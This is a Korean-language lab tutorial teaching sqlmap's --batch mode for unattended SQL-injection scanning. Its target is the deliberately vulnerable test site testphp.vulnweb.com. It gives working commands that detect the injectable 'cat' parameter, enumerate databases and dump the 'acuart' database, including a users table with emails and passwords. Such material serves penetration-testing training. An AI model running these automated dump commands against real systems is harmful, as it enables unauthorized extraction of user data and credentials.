sqlmap 배치 모드로 스캔 자동화하기

Kali LinuxBeginner
지금 연습하기

소개

이 랩에서는 SQL 인젝션 취약점을 탐지하고 악용하는 과정을 자동화하는 인기 있는 오픈 소스 침투 테스트 도구인 sqlmap의 강력한 --batch 모드 기능을 탐색합니다. sqlmap은 기본적으로 스캔 중에 사용자에게 결정을 요청하는 등 상호작용이 매우 높지만, --batch 모드를 사용하면 모든 프롬프트에 기본 답변을 자동으로 선택하여 무인 방식으로 스캔을 실행할 수 있습니다. 이는 스크립트에서 스캔을 자동화하거나 수동 개입이 비실용적인 대규모 평가에 특히 유용합니다. 상호작용 스캔과 비상호작용 스캔의 차이점을 배우고, 수동 스캔을 수행한 다음, --batch 모드를 활용하여 전체 데이터 덤프를 포함한 프로세스를 자동화할 것입니다.

상호작용 스캔 vs. 비상호작용 스캔 이해하기

이 단계에서는 sqlmap을 사용한 상호작용 스캔과 비상호작용 스캔의 근본적인 차이점을 이해합니다. 기본적으로 sqlmap은 상호작용 방식으로 설계되어, 스캔 중에 특정 테스트를 계속할지, 특정 페이로드 (payload) 를 사용할지, 취약점을 악용할지 등 다양한 결정에 대한 사용자 입력을 자주 요청합니다. 이러한 상호작용성은 세밀한 제어를 제공하지만 자동화된 작업에는 번거로울 수 있습니다. 반면에 비상호작용 스캔은 sqlmap이 사용자 개입 없이 기본 결정을 내릴 수 있도록 하여 스크립팅 및 대규모 자동화에 적합합니다.

먼저 sqlmap 버전을 확인하여 올바르게 설치되었는지 확인해 보겠습니다.

sqlmap --version

다음과 유사한 출력이 표시되어 sqlmap이 준비되었음을 나타냅니다.

sqlmap version: 1.x.x.x (rXXXX)

이제 도움말 메뉴를 간략하게 살펴보고 --batch 플래그를 확인해 보겠습니다.

sqlmap --help | grep batch

다음과 유사한 출력이 표시됩니다.

    --batch             Never ask for user input, use the default behavior.

이는 --batch 플래그의 존재와 목적을 확인시켜 줍니다.

스캔 실행 및 프롬프트 수동 응답

이 단계에서는 --batch 플래그를 사용하지 않고 알려진 취약한 URL 에 대해 기본적인 sqlmap 스캔을 수행합니다. 이를 통해 sqlmap의 상호작용 방식과 스캔 중에 표시되는 다양한 프롬프트를 시연할 것입니다. 스캔을 진행하려면 이러한 프롬프트에 수동으로 응답해야 합니다.

이 시연을 위해 공개적으로 사용 가능한 취약한 URL 을 사용할 것입니다. 실제 시나리오에서는 테스트할 명시적인 권한이 있는 시스템에 대해서만 스캔을 수행해야 한다는 점에 유의하십시오.

다음 sqlmap 명령을 실행합니다. sqlmap이 묻는 질문과 응답해야 하는 방식에 주의 깊게 주의를 기울이십시오.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"

스캔이 진행됨에 따라 sqlmap은 여러 질문을 할 가능성이 높습니다. 예를 들어:

  • do you want to keep testing the others (if any)? [y/N] - N (아니요) 을 누르고 Enter를 누를 수 있습니다.
  • sqlmap detected that the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSs? [Y/n] - Y (예) 를 누르고 Enter를 누를 수 있습니다.
  • for the remaining tests, do you want to include all tests for 'MySQL', extend provided level and risk values? [Y/n] - Y (예) 를 누르고 Enter를 누를 수 있습니다.

정확한 프롬프트는 sqlmap 버전 및 대상의 응답에 따라 달라질 수 있습니다. 핵심은 sqlmap이 계속 진행하기 위해 사용자 입력이 필요하다는 것을 관찰하는 것입니다.

스캔이 완료되면 sqlmap은 감지된 모든 취약점을 보고합니다.

---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---

이러한 수동 상호작용은 자동화가 효율성에 왜 중요한지를 강조합니다.

--batch 플래그를 사용하여 자동 기본 응답 활용하기

이 단계에서는 sqlmap 스캔을 다시 실행하지만, 이번에는 --batch 플래그를 포함합니다. 이 플래그는 sqlmap에게 발생하는 모든 프롬프트에 대해 기본 응답을 자동으로 사용하도록 지시하여, 스캔을 비상호작용 방식으로 만듭니다. 이는 스크립팅 및 취약점 평가 자동화에 매우 유용합니다.

--batch 플래그를 추가하여 다음 명령을 실행합니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

출력을 관찰하십시오. sqlmap이 사용자 입력 대기 없이 스캔을 진행하는 것을 알 수 있습니다. 이전 단계에서 나타났던 모든 질문은 이제 기본값 (일반적으로 문맥에 따라 '예' 또는 '아니요') 으로 자동 응답됩니다.

출력은 다음과 유사하게 계속해서 흐를 것입니다.

---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---

이는 자동화되지 않은 작업에 대한 --batch 모드의 강력함을 보여줍니다.

배치 모드에서 전체 데이터 덤프 실행하기

이 단계에서는 --batch 플래그를 다른 sqlmap 옵션과 결합하여 더 고급 작업인 데이터베이스의 모든 데이터를 자동화된 방식으로 덤프하는 방법을 배웁니다. 이를 통해 --batch 모드가 수동 개입 없이 복잡한 악용 작업을 수행할 수 있음을 보여줍니다.

정보를 추출하기 위해 --dbs (데이터베이스 열거), --tables (테이블 열거), --columns (열거 열), --dump (항목 덤프) 옵션을 사용할 것입니다. --batch를 사용하므로 sqlmap은 이러한 작업과 관련된 모든 프롬프트에 자동으로 응답합니다.

먼저 배치 모드에서 데이터베이스를 열거해 보겠습니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

sqlmap이 확인을 요청하지 않고 자동으로 데이터베이스를 식별하는 것을 볼 수 있습니다. 출력에는 발견된 데이터베이스가 나열됩니다. 예를 들어:

---
[XX:XX:XX] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
---

이제 acuart 데이터베이스에서 모든 데이터를 덤프해 보겠습니다. 여기에는 테이블 열거, 열 열거, 그리고 마지막으로 데이터 덤프가 포함됩니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --dump --batch

이 명령은 sqlmap에게 다음을 지시합니다.

  1. acuart 데이터베이스를 대상으로 지정합니다 (-D acuart).
  2. 모든 데이터를 덤프합니다 (--dump).
  3. 배치 모드로 수행합니다 (--batch), 이는 "모든 테이블을 덤프하시겠습니까?" 또는 "해시를 파일에 저장하시겠습니까?"와 같은 프롬프트에 자동으로 "예"라고 응답함을 의미합니다.

출력에는 sqlmap이 테이블, 열을 열거하고 마지막으로 데이터를 덤프하는 과정이 프롬프트 없이 모두 표시됩니다. 이 과정은 데이터 양에 따라 시간이 다소 걸릴 수 있습니다.

---
[XX:XX:XX] [INFO] fetching tables for database 'acuart'
[XX:XX:XX] [INFO] fetching columns for table 'users' in database 'acuart'
[XX:XX:XX] [INFO] dumping table 'users' of database 'acuart'
...
+----+----------+----------+----------+
| id | email    | password | uname    |
+----+----------+----------+----------+
| 1  | test@test.com | test     | test     |
| 2  | admin@admin.com | admin    | admin    |
...
+----+----------+----------+----------+
---

이는 데이터 추출을 위한 --batch 모드를 사용한 sqlmap의 완전한 자동화 기능을 보여줍니다.

자동화된 스캔 결과 검토하기

이 마지막 단계에서는 --batch 모드를 사용하여 수행한 자동화된 스캔 결과를 검토합니다. sqlmap은 덤프된 데이터를 포함한 검색 결과를 지정된 출력 디렉토리에 저장합니다. 이러한 결과가 어디에 저장되는지 이해하는 것은 후속 분석 및 보고에 매우 중요합니다.

기본적으로 sqlmap~/.sqlmap/output/ 디렉토리에 출력 디렉토리를 생성합니다 (루트로 실행하는 경우 /root/.sqlmap/output/이지만, 이 실습에서는 ~/.sqlmap/output/입니다). 이 디렉토리 안에는 대상 호스트 이름으로 명명된 하위 디렉토리가 있습니다.

먼저 sqlmap 출력 디렉토리로 이동합니다.

cd ~/.sqlmap/output/

이제 이 디렉토리의 내용을 나열하여 대상 호스트의 폴더를 찾습니다.

ls -F

testphp.vulnweb.com/ 또는 유사한 이름의 디렉토리가 보여야 합니다.

testphp.vulnweb.com/

대상 디렉토리로 이동합니다.

cd testphp.vulnweb.com/

다시 내용을 나열합니다. 스캔 결과가 포함된 다양한 파일과 디렉토리를 찾을 수 있으며, 여기에는 로그 파일, 덤프된 데이터 및 기타 잠재적인 결과가 포함됩니다.

ls -F

log, session.sqlite와 같은 파일과 dump/와 같은 디렉토리가 보일 수 있습니다.

dump/  log  session.sqlite  target.txt

이제 dump 디렉토리를 살펴보고 추출된 데이터를 확인합니다.

ls -F dump/

acuart 데이터베이스에 대한 디렉토리와 그 안에서 덤프된 테이블에 해당하는 파일 (예: users.csv) 을 볼 수 있어야 합니다.

dump/acuart/

마지막으로, 덤프된 파일의 내용을 볼 수 있습니다. 예를 들어 users.csv 파일입니다.

cat dump/acuart/users.csv

이것은 sqlmapusers 테이블에서 추출한 데이터를 표시하여 자동화된 데이터 덤프의 성공을 확인합니다.

id,email,password,uname
1,test@test.com,test,test
2,admin@admin.com,admin,admin
...

이것으로 배치 모드를 사용한 sqlmap 스캔 자동화 실습이 완료되었습니다. 상호작용 및 비상호작용 스캔을 성공적으로 수행했으며 데이터를 자동화된 방식으로 추출했습니다.

요약

이 실습에서는 SQL 인젝션 취약점 평가를 자동화하는 중요한 기능인 sqlmap--batch 모드에 대한 실질적인 경험을 쌓았습니다. sqlmap이 일반적으로 사용자 입력에 대한 프롬프트를 표시하는 방식을 관찰하며 상호작용 스캔과 비상호작용 스캔의 차이를 이해하는 것부터 시작했습니다. 그런 다음 --batch 플래그를 사용하여 스캔을 성공적으로 실행했으며, 모든 프롬프트에 기본 답변을 자동으로 제공하여 프로세스를 간소화하는 방법을 시연했습니다. 마지막으로 자동화된 데이터 덤프를 수행하고 sqlmap이 출력 디렉토리에 저장한 결과를 찾는 방법과 검토하는 방법을 배웠습니다. 이 지식은 sqlmap을 자동화된 보안 테스트 파이프라인에 통합하고 효율적인 대규모 취약점 분석을 수행하는 데 필수적입니다.